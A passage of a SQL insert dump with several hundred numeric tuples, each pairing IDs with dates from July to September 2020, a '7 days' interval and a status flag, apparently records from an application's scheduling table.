days',1),(27294,12562,5362,6548,194,45,'2020-07-28','7 days',1),(27295,9108,4531,5737,358,251,'2020-07-28','7 days',1),(27296,9107,4531,5737,358,251,'2020-07-28','7 days',0),(27303,10251,5176,6362,1315,959,'2020-07-28','7 days',1),(27304,13915,5176,6362,1315,959,'2020-07-28','7 days',0),(27305,13914,5176,6362,1315,959,'2020-07-28','7 days',0),(27306,10393,5469,6391,1315,959,'2020-07-28','7 days',1),(27307,10212,5469,6391,1315,959,'2020-07-28','7 days',1),(27308,10211,5469,6391,1315,959,'2020-07-28','7 days',0),(27309,7022,4920,6136,1012,91,'2020-07-28','7 days',2),(27310,7211,5156,6339,1452,91,'2020-07-28','7 days',0),(27311,7210,5156,6339,1452,91,'2020-07-28','7 days',0),(27312,7308,5222,6409,1012,91,'2020-07-28','7 days',2),(27313,7307,5222,6409,1012,91,'2020-07-28','7 days',0),(27314,7306,5222,6409,1012,91,'2020-07-28','7 days',2),(27340,13913,5431,6626,194,45,'2020-07-29','7 days',1),(27341,11689,5431,6626,194,45,'2020-07-29','7 days',1),(27342,13913,5429,6624,194,45,'2020-07-29','7 days',1),(27343,11689,5429,6624,194,45,'2020-07-29','7 days',1),(27351,640,5366,6551,160,73,'2020-07-30','7 days',0),(27352,639,5366,6551,160,73,'2020-07-30','7 days',0),(27353,637,5366,6551,160,73,'2020-07-30','7 days',0),(27354,636,5366,6551,160,73,'2020-07-30','7 days',0),(27355,629,5366,6551,160,73,'2020-07-30','7 days',0),(27356,13913,5428,6623,194,45,'2020-07-30','7 days',1),(27357,11689,5428,6623,194,45,'2020-07-30','7 days',1),(27358,13913,5430,6625,194,45,'2020-07-30','7 days',1),(27359,11689,5430,6625,194,45,'2020-07-30','7 days',1),(27374,9155,5156,6339,1452,91,'2020-07-30','7 days',1),(27375,7213,5156,6339,1452,91,'2020-07-30','7 days',1),(27376,9134,5222,6409,1012,91,'2020-07-30','7 days',1),(27377,9133,5222,6409,1012,91,'2020-07-30','7 days',1),(27380,13672,5318,6329,203,86,'2020-07-30','7 days',1),(27381,12363,5318,6329,203,86,'2020-07-30','7 days',0),(27382,12362,5318,6329,203,86,'2020-07-30','7 days',0),(27383,11848,5318,6329,203,86,'2020-07-30','7 days',0),(27384,8999,5318,6329,203,86,'2020-07-30','7 days',1),(27389,11845,5431,6626,194,45,'2020-07-30','7 days',1),(27390,11520,5431,6626,194,45,'2020-07-30','7 days',1),(27391,11519,5431,6626,194,45,'2020-07-30','7 days',1),(27392,11518,5431,6626,194,45,'2020-07-30','7 days',1),(27393,11845,5361,5354,194,45,'2020-07-30','7 days',1),(27394,11520,5361,5354,194,45,'2020-07-30','7 days',1),(27395,11519,5361,5354,194,45,'2020-07-30','7 days',1),(27396,11518,5361,5354,194,45,'2020-07-30','7 days',1),(27397,11299,5361,5354,194,45,'2020-07-30','7 days',2),(27398,11845,5314,6499,194,45,'2020-07-30','7 days',1),(27399,11520,5314,6499,194,45,'2020-07-30','7 days',1),(27400,11519,5314,6499,194,45,'2020-07-30','7 days',1),(27401,11518,5314,6499,194,45,'2020-07-30','7 days',1),(27402,11299,5314,6499,194,45,'2020-07-30','7 days',2),(27403,11520,5202,6389,194,45,'2020-07-30','7 days',1),(27404,11519,5202,6389,194,45,'2020-07-30','7 days',1),(27405,11518,5202,6389,194,45,'2020-07-30','7 days',1),(27406,11299,5202,6389,194,45,'2020-07-30','7 days',2),(27407,13927,5464,6666,1343,86,'2020-07-30','7 days',0),(27408,13926,5464,6666,1343,86,'2020-07-30','7 days',2),(27409,13925,5464,6666,1343,86,'2020-07-30','7 days',0),(27410,13924,5464,6666,1343,86,'2020-07-30','7 days',0),(27411,13923,5464,6666,1343,86,'2020-07-30','7 days',0),(27412,13922,5464,6666,1343,86,'2020-07-30','7 days',0),(27413,13921,5464,6666,1343,86,'2020-07-30','7 days',0),(27414,13920,5464,6666,1343,86,'2020-07-30','7 days',0),(27415,664,5249,6440,161,73,'2020-07-30','7 days',0),(27416,663,5249,6440,161,73,'2020-07-30','7 days',0),(27417,658,5249,6440,161,73,'2020-07-30','7 days',0),(27418,13225,4496,5697,160,73,'2020-07-30','7 days',1),(27419,12979,4496,5697,160,73,'2020-07-30','7 days',1),(27420,11876,4496,5697,160,73,'2020-07-30','7 days',2),(27421,11589,4496,5697,160,73,'2020-07-30','7 days',1),(27422,672,4496,5697,160,73,'2020-07-30','7 days',0),(27423,661,4496,5697,160,73,'2020-07-30','7 days',2),(27424,13225,4629,5844,162,73,'2020-07-30','7 days',1),(27425,12979,4629,5844,162,73,'2020-07-30','7 days',1),(27426,11876,4629,5844,162,73,'2020-07-30','7 days',0),(27427,11589,4629,5844,162,73,'2020-07-30','7 days',1),(27428,13225,4665,5880,161,73,'2020-07-30','7 days',1),(27429,11589,4665,5880,161,73,'2020-07-30','7 days',1),(27430,639,4665,5880,161,73,'2020-07-30','7 days',0),(27431,637,4665,5880,161,73,'2020-07-30','7 days',0),(27432,636,4665,5880,161,73,'2020-07-30','7 days',0),(27433,629,4665,5880,161,73,'2020-07-30','7 days',0),(27434,13225,4676,5891,161,73,'2020-07-30','7 days',1),(27435,12979,4676,5891,161,73,'2020-07-30','7 days',1),(27436,11876,4676,5891,161,73,'2020-07-30','7 days',0),(27437,11589,4676,5891,161,73,'2020-07-30','7 days',1),(27438,8781,4676,5891,161,73,'2020-07-30','7 days',0),(27439,659,4676,5891,161,73,'2020-07-30','7 days',1),(27440,647,4676,5891,161,73,'2020-07-30','7 days',0),(27441,640,4676,5891,161,73,'2020-07-30','7 days',0),(27442,639,4676,5891,161,73,'2020-07-30','7 days',0),(27443,637,4676,5891,161,73,'2020-07-30','7 days',0),(27444,636,4676,5891,161,73,'2020-07-30','7 days',0),(27445,629,4676,5891,161,73,'2020-07-30','7 days',0),(27464,13913,5503,6705,194,45,'2020-07-31','7 days',1),(27465,12562,5503,6705,194,45,'2020-07-31','7 days',1),(27466,11689,5503,6705,194,45,'2020-07-31','7 days',1),(27477,13913,5361,5354,194,45,'2020-07-31','7 days',1),(27478,13913,5202,6389,194,45,'2020-07-31','7 days',1),(27479,11689,5202,6389,194,45,'2020-07-31','7 days',1),(27509,13886,5464,6666,1343,86,'2020-07-31','7 days',1),(27510,13885,5464,6666,1343,86,'2020-07-31','7 days',0),(27511,13884,5464,6666,1343,86,'2020-07-31','7 days',2),(27512,13883,5464,6666,1343,86,'2020-07-31','7 days',0),(27513,13881,5481,6682,203,86,'2020-07-31','7 days',2),(27514,13880,5481,6682,203,86,'2020-07-31','7 days',0),(27515,13879,5481,6682,203,86,'2020-07-31','7 days',0),(27516,13878,5481,6682,203,86,'2020-07-31','7 days',0),(27517,13877,5481,6682,203,86,'2020-07-31','7 days',0),(27518,13088,5481,6682,203,86,'2020-07-31','7 days',2),(27519,12818,5481,6682,203,86,'2020-07-31','7 days',0),(27520,12259,5481,6682,203,86,'2020-07-31','7 days',1),(27521,12258,5481,6682,203,86,'2020-07-31','7 days',0),(27522,12257,5481,6682,203,86,'2020-07-31','7 days',0),(27563,13669,5464,6666,1343,86,'2020-08-01','7 days',2),(27564,9607,5464,6666,1343,86,'2020-08-01','7 days',2),(27565,9000,5464,6666,1343,86,'2020-08-01','7 days',1),(27566,8999,5464,6666,1343,86,'2020-08-01','7 days',0),(27567,13672,5481,6682,203,86,'2020-08-01','7 days',1),(27568,13669,5481,6682,203,86,'2020-08-01','7 days',0),(27569,13095,5481,6682,203,86,'2020-08-01','7 days',2),(27570,13090,5481,6682,203,86,'2020-08-01','7 days',0),(27571,12769,5481,6682,203,86,'2020-08-01','7 days',0),(27584,9797,5549,6755,1067,326,'2020-08-01','7 days',0),(27585,9796,5549,6755,1067,326,'2020-08-01','7 days',0),(27586,7419,5549,6755,1067,326,'2020-08-01','7 days',0),(27587,7418,5549,6755,1067,326,'2020-08-01','7 days',0),(27588,7415,5549,6755,1067,326,'2020-08-01','7 days',0),(27589,12897,5549,6755,1067,326,'2020-08-01','7 days',1),(27590,12875,5549,6755,1067,326,'2020-08-01','7 days',1),(27591,9805,5549,6755,1067,326,'2020-08-01','7 days',0),(27632,13878,5294,6485,1408,86,'2020-08-03','7 days',0),(27633,13877,5294,6485,1408,86,'2020-08-03','7 days',0),(27634,12256,5294,6485,1408,86,'2020-08-03','7 days',0),(27635,12255,5294,6485,1408,86,'2020-08-03','7 days',0),(27636,12241,5294,6485,1408,86,'2020-08-03','7 days',2),(27675,11354,5367,6552,1456,667,'2020-08-03','7 days',1),(27676,11353,5367,6552,1456,667,'2020-08-03','7 days',2),(27677,11352,5367,6552,1456,667,'2020-08-03','7 days',0),(27678,11351,5367,6552,1456,667,'2020-08-03','7 days',1),(27680,13225,4719,5935,160,73,'2020-08-03','7 days',1),(27681,12979,4719,5935,160,73,'2020-08-03','7 days',0),(27682,11876,4719,5935,160,73,'2020-08-03','7 days',2),(27683,11589,4719,5935,160,73,'2020-08-03','7 days',1),(27684,8781,4719,5935,160,73,'2020-08-03','7 days',0),(27701,12979,5103,6279,161,73,'2020-08-03','7 days',0),(27702,11876,5103,6279,161,73,'2020-08-03','7 days',0),(27703,8781,5103,6279,161,73,'2020-08-03','7 days',0),(27704,672,5103,6279,161,73,'2020-08-03','7 days',0),(27705,661,5103,6279,161,73,'2020-08-03','7 days',0),(27706,659,5103,6279,161,73,'2020-08-03','7 days',1),(27707,647,5103,6279,161,73,'2020-08-03','7 days',0),(27708,642,5103,6279,161,73,'2020-08-03','7 days',0),(27709,640,5103,6279,161,73,'2020-08-03','7 days',0),(27710,639,5103,6279,161,73,'2020-08-03','7 days',0),(27711,637,5103,6279,161,73,'2020-08-03','7 days',0),(27712,636,5103,6279,161,73,'2020-08-03','7 days',0),(27713,629,5103,6279,161,73,'2020-08-03','7 days',0),(27753,12875,5597,6810,1067,326,'2020-08-04','7 days',1),(27781,13344,5677,6891,1394,86,'2020-08-04','7 days',1),(27782,13343,5677,6891,1394,86,'2020-08-04','7 days',0),(27783,13342,5677,6891,1394,86,'2020-08-04','7 days',0),(27784,13341,5677,6891,1394,86,'2020-08-04','7 days',0),(27785,13340,5677,6891,1394,86,'2020-08-04','7 days',1),(27786,13339,5677,6891,1394,86,'2020-08-04','7 days',1),(27787,13338,5677,6891,1394,86,'2020-08-04','7 days',0),(27830,12240,5294,6485,1408,86,'2020-08-05','7 days',0),(27831,12239,5294,6485,1408,86,'2020-08-05','7 days',0),(27868,11848,5670,6883,1343,86,'2020-08-06','7 days',2),(27869,11847,5670,6883,1343,86,'2020-08-06','7 days',0),(27870,11846,5670,6883,1343,86,'2020-08-06','7 days',0),(27871,11581,5670,6883,1343,86,'2020-08-06','7 days',0),(27872,11580,5670,6883,1343,86,'2020-08-06','7 days',0),(27873,10962,5670,6883,1343,86,'2020-08-06','7 days',1),(27874,9611,5670,6883,1343,86,'2020-08-06','7 days',2),(27875,9608,5670,6883,1343,86,'2020-08-06','7 days',0),(27876,9607,5670,6883,1343,86,'2020-08-06','7 days',2),(27877,9090,5670,6883,1343,86,'2020-08-06','7 days',0),(27878,8999,5670,6883,1343,86,'2020-08-06','7 days',0),(27885,7023,5156,6339,1452,91,'2020-08-06','7 days',1),(27893,12770,5294,6485,1408,86,'2020-08-06','7 days',0),(27894,12530,5294,6485,1408,86,'2020-08-06','7 days',0),(27895,12529,5294,6485,1408,86,'2020-08-06','7 days',0),(27896,10944,5294,6485,1408,86,'2020-08-06','7 days',0),(27897,5731,5294,6485,1408,86,'2020-08-06','7 days',2),(27898,5730,5294,6485,1408,86,'2020-08-06','7 days',0),(27899,5729,5294,6485,1408,86,'2020-08-06','7 days',0),(27900,5728,5294,6485,1408,86,'2020-08-06','7 days',0),(27901,3701,5294,6485,1408,86,'2020-08-06','7 days',0),(28035,12274,5156,6339,1452,91,'2020-08-08','7 days',1),(28036,12273,5156,6339,1452,91,'2020-08-08','7 days',1),(28037,12264,5156,6339,1452,91,'2020-08-08','7 days',1),(28038,12263,5156,6339,1452,91,'2020-08-08','7 days',1),(28040,9651,5702,6915,194,45,'2020-08-08','7 days',0),(28063,13913,5702,6915,194,45,'2020-08-08','7 days',1),(28071,12897,5656,6869,1067,326,'2020-08-10','7 days',2),(28072,12875,5656,6869,1067,326,'2020-08-10','7 days',1),(28073,9805,5656,6869,1067,326,'2020-08-10','7 days',0),(28074,9803,5656,6869,1067,326,'2020-08-10','7 days',0),(28075,9802,5656,6869,1067,326,'2020-08-10','7 days',0),(28076,9801,5656,6869,1067,326,'2020-08-10','7 days',0),(28077,9800,5656,6869,1067,326,'2020-08-10','7 days',0),(28078,9798,5656,6869,1067,326,'2020-08-10','7 days',0),(28079,9797,5656,6869,1067,326,'2020-08-10','7 days',0),(28080,9795,5656,6869,1067,326,'2020-08-10','7 days',0),(28081,7419,5656,6869,1067,326,'2020-08-10','7 days',0),(28082,7418,5656,6869,1067,326,'2020-08-10','7 days',0),(28083,7415,5656,6869,1067,326,'2020-08-10','7 days',0),(28084,9797,5655,6868,1067,326,'2020-08-10','7 days',0),(28085,9796,5655,6868,1067,326,'2020-08-10','7 days',0),(28086,9795,5655,6868,1067,326,'2020-08-10','7 days',0),(28087,9720,5655,6868,1067,326,'2020-08-10','7 days',1),(28088,9719,5655,6868,1067,326,'2020-08-10','7 days',2),(28089,7421,5655,6868,1067,326,'2020-08-10','7 days',0),(28090,7420,5655,6868,1067,326,'2020-08-10','7 days',0),(28091,7419,5655,6868,1067,326,'2020-08-10','7 days',0),(28092,7418,5655,6868,1067,326,'2020-08-10','7 days',0),(28093,7417,5655,6868,1067,326,'2020-08-10','7 days',0),(28094,7416,5655,6868,1067,326,'2020-08-10','7 days',1),(28095,7415,5655,6868,1067,326,'2020-08-10','7 days',0),(28096,12897,5655,6868,1067,326,'2020-08-10','7 days',2),(28097,12875,5655,6868,1067,326,'2020-08-10','7 days',1),(28108,13672,5294,6485,1408,86,'2020-08-10','7 days',1),(28109,13101,5294,6485,1408,86,'2020-08-10','7 days',0),(28110,13096,5294,6485,1408,86,'2020-08-10','7 days',0),(28111,13090,5294,6485,1408,86,'2020-08-10','7 days',0),(28112,12769,5294,6485,1408,86,'2020-08-10','7 days',0),(28113,12513,5294,6485,1408,86,'2020-08-10','7 days',0),(28114,12351,5294,6485,1408,86,'2020-08-10','7 days',0),(28174,13235,5734,6959,1394,86,'2020-08-11','7 days',0),(28175,13093,5734,6959,1394,86,'2020-08-11','7 days',2),(28176,13092,5734,6959,1394,86,'2020-08-11','7 days',0),(28177,9610,5734,6959,1394,86,'2020-08-11','7 days',0),(28205,13913,5758,6979,194,45,'2020-08-12','7 days',1),(28206,12562,5758,6979,194,45,'2020-08-12','7 days',1),(28207,11689,5758,6979,194,45,'2020-08-12','7 days',1),(28227,13225,5103,6279,161,73,'2020-08-12','7 days',1),(28228,11589,5103,6279,161,73,'2020-08-12','7 days',1),(28229,10684,5293,6484,1439,86,'2020-08-12','7 days',1),(28230,9718,5293,6484,1439,86,'2020-08-12','7 days',0),(28231,9717,5293,6484,1439,86,'2020-08-12','7 days',0),(28232,9716,5293,6484,1439,86,'2020-08-12','7 days',0),(28233,9608,5293,6484,1439,86,'2020-08-12','7 days',0),(28234,9007,5293,6484,1439,86,'2020-08-12','7 days',0),(28235,9005,5293,6484,1439,86,'2020-08-12','7 days',0),(28291,12971,5766,6984,1235,277,'2020-08-14','7 days',1),(28292,12022,5766,6984,1235,277,'2020-08-14','7 days',1),(28300,11659,5796,7010,1235,277,'2020-08-14','7 days',1),(28301,13672,5795,6883,1251,86,'2020-08-14','7 days',2),(28302,13097,5795,6883,1251,86,'2020-08-14','7 days',0),(28303,13096,5795,6883,1251,86,'2020-08-14','7 days',0),(28304,13095,5795,6883,1251,86,'2020-08-14','7 days',1),(28305,13091,5795,6883,1251,86,'2020-08-14','7 days',0),(28306,13013,5795,6883,1251,86,'2020-08-14','7 days',0),(28307,13012,5795,6883,1251,86,'2020-08-14','7 days',0),(28308,13011,5795,6883,1251,86,'2020-08-14','7 days',2),(28309,13010,5795,6883,1251,86,'2020-08-14','7 days',0),(28310,12780,5795,6883,1251,86,'2020-08-14','7 days',0),(28311,12779,5795,6883,1251,86,'2020-08-14','7 days',0),(28312,12519,5795,6883,1251,86,'2020-08-14','7 days',1),(28313,12512,5795,6883,1251,86,'2020-08-14','7 days',0),(28314,11430,5795,6883,1251,86,'2020-08-14','7 days',0),(28315,11429,5795,6883,1251,86,'2020-08-14','7 days',0),(28333,4516,5071,5888,633,639,'2020-08-16','7 days',1),(28334,4514,5071,5888,633,639,'2020-08-16','7 days',0),(28335,4499,5071,5888,633,639,'2020-08-16','7 days',0),(28336,4467,5071,5888,633,639,'2020-08-16','7 days',0),(28344,14051,5332,6515,1067,326,'2020-08-17','7 days',1),(28380,14051,5833,7059,1067,326,'2020-08-17','7 days',1),(28381,12897,5833,7059,1067,326,'2020-08-17','7 days',1),(28382,12875,5833,7059,1067,326,'2020-08-17','7 days',1),(28386,9159,5156,6339,1452,91,'2020-08-17','7 days',1),(28387,7212,5156,6339,1452,91,'2020-08-17','7 days',1),(28513,10393,5770,6512,1315,959,'2020-08-19','7 days',1),(28585,13915,5770,6512,1315,959,'2020-08-21','7 days',0),(28586,13914,5770,6512,1315,959,'2020-08-21','7 days',1),(28587,14071,5770,6512,1315,959,'2020-08-21','7 days',1),(28676,13913,5877,7101,194,45,'2020-08-22','7 days',1),(28677,13672,5734,6959,1394,86,'2020-08-22','7 days',2),(28678,13671,5734,6959,1394,86,'2020-08-22','7 days',0),(28679,12782,5734,6959,1394,86,'2020-08-22','7 days',2),(28680,12769,5734,6959,1394,86,'2020-08-22','7 days',0),(28681,12767,5734,6959,1394,86,'2020-08-22','7 days',0),(28682,12766,5734,6959,1394,86,'2020-08-22','7 days',0),(28683,12513,5734,6959,1394,86,'2020-08-22','7 days',1),(28684,8997,5734,6959,1394,86,'2020-08-22','7 days',1),(28761,12979,5420,5541,161,73,'2020-08-25','7 days',0),(28762,11876,5420,5541,161,73,'2020-08-25','7 days',2),(28763,8781,5420,5541,161,73,'2020-08-25','7 days',0),(28764,672,5420,5541,161,73,'2020-08-25','7 days',0),(28765,661,5420,5541,161,73,'2020-08-25','7 days',0),(28766,659,5420,5541,161,73,'2020-08-25','7 days',1),(28767,647,5420,5541,161,73,'2020-08-25','7 days',0),(28768,642,5420,5541,161,73,'2020-08-25','7 days',0),(28769,640,5420,5541,161,73,'2020-08-25','7 days',2),(28770,639,5420,5541,161,73,'2020-08-25','7 days',0),(28771,637,5420,5541,161,73,'2020-08-25','7 days',0),(28772,636,5420,5541,161,73,'2020-08-25','7 days',0),(28773,629,5420,5541,161,73,'2020-08-25','7 days',0),(28774,8784,5607,6818,161,73,'2020-08-25','7 days',1),(28775,8783,5607,6818,161,73,'2020-08-25','7 days',0),(28776,656,5607,6818,161,73,'2020-08-25','7 days',0),(28777,653,5607,6818,161,73,'2020-08-25','7 days',0),(28778,9014,5712,6934,160,73,'2020-08-25','7 days',1),(28779,9013,5712,6934,160,73,'2020-08-25','7 days',1),(28780,8786,5712,6934,160,73,'2020-08-25','7 days',0),(28781,668,5712,6934,160,73,'2020-08-25','7 days',0),(28782,655,5712,6934,160,73,'2020-08-25','7 days',0),(28783,632,5712,6934,160,73,'2020-08-25','7 days',0),(28784,670,5773,6992,161,73,'2020-08-25','7 days',0),(28785,660,5773,6992,161,73,'2020-08-25','7 days',0),(28786,664,5773,6992,161,73,'2020-08-25','7 days',0),(28787,663,5773,6992,161,73,'2020-08-25','7 days',0),(28788,658,5773,6992,161,73,'2020-08-25','7 days',0),(28803,13913,5925,7150,194,45,'2020-08-25','7 days',1),(28820,12022,5921,7145,1235,277,'2020-08-25','7 days',1),(28821,14051,5907,7129,1067,326,'2020-08-25','7 days',1),(28822,12897,5907,7129,1067,326,'2020-08-25','7 days',1),(28823,12875,5907,7129,1067,326,'2020-08-25','7 days',1),(28830,671,5803,7017,160,73,'2020-08-25','7 days',2),(28831,639,5803,7017,160,73,'2020-08-25','7 days',0),(28832,637,5803,7017,160,73,'2020-08-25','7 days',0),(28833,636,5803,7017,160,73,'2020-08-25','7 days',0),(28834,629,5803,7017,160,73,'2020-08-25','7 days',0),(28853,10251,5892,7114,1324,959,'2020-08-26','7 days',1),(28854,14071,5892,7114,1324,959,'2020-08-26','7 days',1),(28855,10393,5892,7114,1324,959,'2020-08-26','7 days',1),(28881,13225,5420,5541,161,73,'2020-08-26','7 days',1),(28882,13225,4915,6131,162,73,'2020-08-26','7 days',1),(28907,14051,5948,7176,1067,326,'2020-08-27','7 days',1),(28908,12897,5948,7176,1067,326,'2020-08-27','7 days',2),(28909,12875,5948,7176,1067,326,'2020-08-27','7 days',1),(28977,670,5859,6905,162,73,'2020-08-31','7 days',0),(28978,660,5859,6905,162,73,'2020-08-31','7 days',0),(28979,654,5859,6905,162,73,'2020-08-31','7 days',0),(28980,669,5859,6905,162,73,'2020-08-31','7 days',0),(28981,9009,5791,7007,162,73,'2020-08-31','7 days',0),(28982,9008,5791,7007,162,73,'2020-08-31','7 days',0),(28983,665,5791,7007,162,73,'2020-08-31','7 days',0),(28984,662,5791,7007,162,73,'2020-08-31','7 days',0),(28985,633,5791,7007,162,73,'2020-08-31','7 days',1),(28986,10287,5802,7016,161,73,'2020-08-31','7 days',0),(28987,664,5802,7016,161,73,'2020-08-31','7 days',0),(28988,663,5802,7016,161,73,'2020-08-31','7 days',2),(28989,658,5802,7016,161,73,'2020-08-31','7 days',0),(28990,671,5802,7016,161,73,'2020-08-31','7 days',2),(28997,14051,5959,7190,1067,326,'2020-08-31','7 days',1),(28998,12897,5959,7190,1067,326,'2020-08-31','7 days',2),(28999,12875,5959,7190,1067,326,'2020-08-31','7 days',1),(29047,13720,5994,7224,1343,86,'2020-09-01','7 days',0),(29048,13099,5994,7224,1343,86,'2020-09-01','7 days',1),(29049,13008,5994,7224,1343,86,'2020-09-01','7 days',1),(29050,13006,5994,7224,1343,86,'2020-09-01','7 days',0),(29051,13005,5994,7224,1343,86,'2020-09-01','7 days',0),(29052,13004,5994,7224,1343,86,'2020-09-01','7 days',0),(29053,12788,5994,7224,1343,86,'2020-09-01','7 days',0),(29054,12787,5994,7224,1343,86,'2020-09-01','7 days',0),(29055,12786,5994,7224,1343,86,'2020-09-01','7 days',0),(29056,12785,5994,7224,1343,86,'2020-09-01','7 days',0),(29057,12783,5994,7224,1343,86,'2020-09-01','7 days',0),(29058,12303,5994,7224,1343,86,'2020-09-01','7 days',0),(29059,12302,5994,7224,1343,86,'2020-09-01','7 days',0),(29060,12979,4915,6131,162,73,'2020-09-01','7 days',0),(29061,11876,4915,6131,162,73,'2020-09-01','7 days',2),(29062,11589,4915,6131,162,73,'2020-09-01','7 days',1),(29079,8784,5989,7218,160,73,'2020-09-01','7 days',1),(29080,8783,5989,7218,160,73,'2020-09-01','7 days',0),(29081,656,5989,7218,160,73,'2020-09-01','7 days',0),(29082,653,5989,7218,160,73,'2020-09-01','7 days',0),(29083,639,5989,7218,160,73,'2020-09-01','7 days',0),(29099,12770,6013,7242,1408,86,'2020-09-02','7 days',0),(29100,12530,6013,7242,1408,86,'2020-09-02','7 days',0),(29101,12529,6013,7242,1408,86,'2020-09-02','7 days',0),(29102,10944,6013,7242,1408,86,'2020-09-02','7 days',0),(29103,10943,6013,7242,1408,86,'2020-09-02','7 days',0),(29104,6348,6013,7242,1408,86,'2020-09-02','7 days',0),(29105,6188,6013,7242,1408,86,'2020-09-02','7 days',0),(29106,5738,6013,7242,1408,86,'2020-09-02','7 days',2),(29107,5736,6013,7242,1408,86,'2020-09-02','7 days',2),(29108,5730,6013,7242,1408,86,'2020-09-02','7 days',0),(29109,939,6013,7242,1408,86,'2020-09-02','7 days',0),(29110,938,6013,7242,1408,86,'2020-09-02','7 days',0),(29111,936,6013,7242,1408,86,'2020-09-02','7 days',1),(29126,11845,6017,7247,194,45,'2020-09-03','7 days',1),(29201,12979,5803,7017,160,73,'2020-09-04','7 days',0),(29202,11876,5803,7017,160,73,'2020-09-04','7 days',2),(29203,8781,5803,7017,160,73,'2020-09-04','7 days',0),(29204,672,5803,7017,160,73,'2020-09-04','7 days',1),(29205,661,5803,7017,160,73,'2020-09-04','7 days',0),(29206,659,5803,7017,160,73,'2020-09-04','7 days',1),(29207,647,5803,7017,160,73,'2020-09-04','7 days',0),(29208,642,5803,7017,160,73,'2020-09-04','7 days',0),(29209,640,5803,7017,160,73,'2020-09-04','7 days',0),(29248,14071,6035,7269,1367,959,'2020-09-04','7 days',1),(29249,10393,6035,7269,1367,959,'2020-09-04','7 days',1),(29396,5734,6013,7242,1408,86,'2020-09-04','7 days',0),(29397,5732,6013,7242,1408,86,'2020-09-04','7 days',0),(29398,5731,6013,7242,1408,86,'2020-09-04','7 days',0),(29399,5729,6013,7242,1408,86,'2020-09-04','7 days',0),(29400,5728,6013,7242,1408,86,'2020-09-04','7 days',0),(29401,4284,6013,7242,1408,86,'2020-09-04','7 days',0),(29402,13009,5994,7224,1343,86,'2020-09-04','7 days',2),(29403,12360,5994,7224,1343,86,'2020-09-04','7 days',0),(29404,12359,5994,7224,1343,86,'2020-09-04','7 days',0),(29405,12358,5994,7224,1343,86,'2020-09-04','7 days',0),(29406,12357,5994,7224,1343,86,'2020-09-04','7 days',0),(29407,12301,5994,7224,1343,86,'2020-09-04','7 days',0),(29408,12298,5994,7224,1343,86,'2020-09-04','7 days',0),(29409,11961,5994,7224,1343,86,'2020-09-04','7 days',0),(29410,11949,5994,7224,1343,86,'2020-09-04','7 days',2),(29554,12300,5994,7224,1343,86,'2020-09-07','7 days',0),(29555,12299,5994,7224,1343,86,'2020-09-07','7 days',0),(29556,12297,5994,7224,1343,86,'2020-09-07','7 days',0),(29557,12296,5994,7224,1343,86,'2020-09-07','7 days',0),(29558,11970,5994,7224,1343,86,'2020-09-07','7 days',0),(29559,11969,5994,7224,1343,86,'2020-09-07','7 days',1),(29560,11967,5994,7224,1343,86,'2020-09-07','7 days',0),(29561,11964,5994,7224,1343,86,'2020-09-07','7 days',0),(29562,13672,6013,7242,1408,86,'2020-09-07','7 days',0),(29563,13669,6013,7242,1408,86,'2020-09-07','7 days',2),(29564,13098,6013,7242,1408,86,'2020-09-07','7 days',0),(29565,13097,6013,7242,1408,86,'2020-09-07','7 days',0),(29566,13096,6013,7242,1408,86,'2020-09-07','7 days',0),(29567,13095,6013,7242,1408,86,'2020-09-07','7 days',2),(29568,13091,6013,7242,1408,86,'2020-09-07','7 days',0),(29569,13090,6013,7242,1408,86,'2020-09-07','7 days',0),(29570,13089,6013,7242,1408,86,'2020-09-07','7 days',2),(29571,13087,6013,7242,1408,86,'2020-09-07','7 days',0),(29572,12371,6013,7242,1408,86,'2020-09-07','7 days',0),(29576,12513,5994,7224,1343,86,'2020-09-07','7 days',1),(29577,11848,5994,7224,1343,86,'2020-09-07','7 days',0),(29578,9000,5994,7224,1343,86,'2020-09-07','7 days',1),(29579,8999,5994,7224,1343,86,'2020-09-07','7 days',2),(29583,13881,5734,6959,1394,86,'2020-09-07','7 days',0),(29584,13880,5734,6959,1394,86,'2020-09-07','7 days',2),(29585,13879,5734,6959,1394,86,'2020-09-07','7 days',0),(29586,12259,5734,6959,1394,86,'2020-09-07','7 days',1),(29587,12257,5734,6959,1394,86,'2020-09-07','7 days',0),(29588,12241,5734,6959,1394,86,'2020-09-07','7 days',2),(29589,12239,5734,6959,1394,86,'2020-09-07','7 days',0),(29688,13670,6013,7242,1408,86,'2020-09-08','7 days',0),(29689,12368,6013,7242,1408,86,'2020-09-08','7 days',0),(29690,12367,6013,7242,1408,86,'2020-09-08','7 days',0),(29691,12366,6013,7242,1408,86,'2020-09-08','7 days',0),(29692,12365,6013,7242,1408,86,'2020-09-08','7 days',0),(29693,13101,6067,7298,204,86,'2020-09-08','7 days',0),(29694,9007,6067,7298,204,86,'2020-09-08','7 days',0),(29695,8999,6067,7298,204,86,'2020-09-08','7 days',0),(29696,8997,6067,7298,204,86,'2020-09-08','7 days',1),(29717,9159,6043,7277,1011,91,'2020-09-09','7 days',1),(29718,9155,6043,7277,1011,91,'2020-09-09','7 days',1),(29719,7213,6043,7277,1011,91,'2020-09-09','7 days',1),(29720,7212,6043,7277,1011,91,'2020-09-09','7 days',1),(29760,13225,5803,7017,160,73,'2020-09-09','7 days',1),(29761,11589,5803,7017,160,73,'2020-09-09','7 days',1),(29762,11589,5420,5541,161,73,'2020-09-09','7 days',1),(29824,9154,6043,7277,1011,91,'2020-09-10','7 days',1),(29825,9135,6043,7277,1011,91,'2020-09-10','7 days',1),(29826,9134,6043,7277,1011,91,'2020-09-10','7 days',1),(29827,9133,6043,7277,1011,91,'2020-09-10','7 days',1),(29832,13225,5245,6436,162,73,'2020-09-11','7 days',1),(29833,12979,5245,6436,162,73,'2020-09-11','7 days',0),(29834,11876,5245,6436,162,73,'2020-09-11','7 days',2),(29857,10682,6086,7316,1251,86,'2020-09-11','7 days',0),(29858,10681,6086,7316,1251,86,'2020-09-11','7 days',1),(29859,10680,6086,7316,1251,86,'2020-09-11','7 days',0),(29860,10679,6086,7316,1251,86,'2020-09-11','7 days',0),(29861,10678,6086,7316,1251,86,'2020-09-11','7 days',1),(29862,10677,6086,7316,1251,86,'2020-09-11','7 days',0),(29863,10676,6086,7316,1251,86,'2020-09-11','7 days',0),(29868,14439,6086,7316,1251,86,'2020-09-11','7 days',0),(29869,14442,6067,7298,204,86,'2020-09-11','7 days',0),(29870,14443,6067,7298,204,86,'2020-09-11','7 days',0),(29871,14444,6067,7298,204,86,'2020-09-11','7 days',0),(29872,14445,6067,7298,204,86,'2020-09-11','7 days',0),(29873,14446,6067,7298,204,86,'2020-09-11','7 days',0),(29880,12562,6090,7297,194,45,'2020-09-11','7 